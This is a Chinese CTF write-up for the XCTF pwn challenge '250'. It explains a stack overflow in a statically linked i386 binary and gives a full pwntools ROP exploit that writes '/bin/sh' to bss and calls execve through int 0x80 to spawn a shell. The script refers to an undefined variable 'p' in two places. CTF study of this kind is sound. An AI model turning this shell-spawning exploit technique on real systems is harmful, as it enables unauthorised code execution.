XCTF pwn 高手进阶区 250

查看保护
在这里插入图片描述在这里插入图片描述
静态链接

IDA打开,查看程序流程
在这里插入图片描述
自定义的print函数
在这里插入图片描述
这里外面传来temp并拷贝到v3中,但是没有考虑长度,存在栈溢出漏洞,溢出长度0x3a

那么可以考虑i386的rop
在这里插入图片描述
控制对应的寄存器为对应的值就可以获得shell

程序里面没有’/bin/sh’,可以控制read函数写入到bss段

那么可以 ROPgadget --binary 250 --only “pop|ret” 查看对应的gadget
在这里插入图片描述
bss段可以选择(这里选择不唯一)
在这里插入图片描述
payload构造,首先溢出在bss段写入/bin/sh

read=elf.symbols['read']
payload = b'a'*(0x3a+0x4) 
payload += p32(read) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(bss) + p32(0x8)

然后修改寄存器的值

payload += p32(pop_eax_ret) + p32(0xb) 
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss) + p32(int_addr)

完整ex

from pwn import *
#static 构造exceve() int80 
context(log_level='debug')

io=process("./250")
elf=ELF("./250")
io.recv()
io.sendline(b'200')
io.recv()
#read=0x806d510
read=elf.symbols['read']
bss=0x080ECB00
pop_edx_ecx_ebx_ret=0x806efe0
pop_eax_ret=0x80b89e6
int_addr=0x806cbb5


payload = b'a'*(0x3a+0x4) 
payload += p32(read) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(bss) + p32(0x8)
payload += p32(pop_eax_ret) + p32(0xb) 
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss) + p32(int_addr)

p.sendline(payload)

p.send(b'/bin/sh\x00')

io.interactive()
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值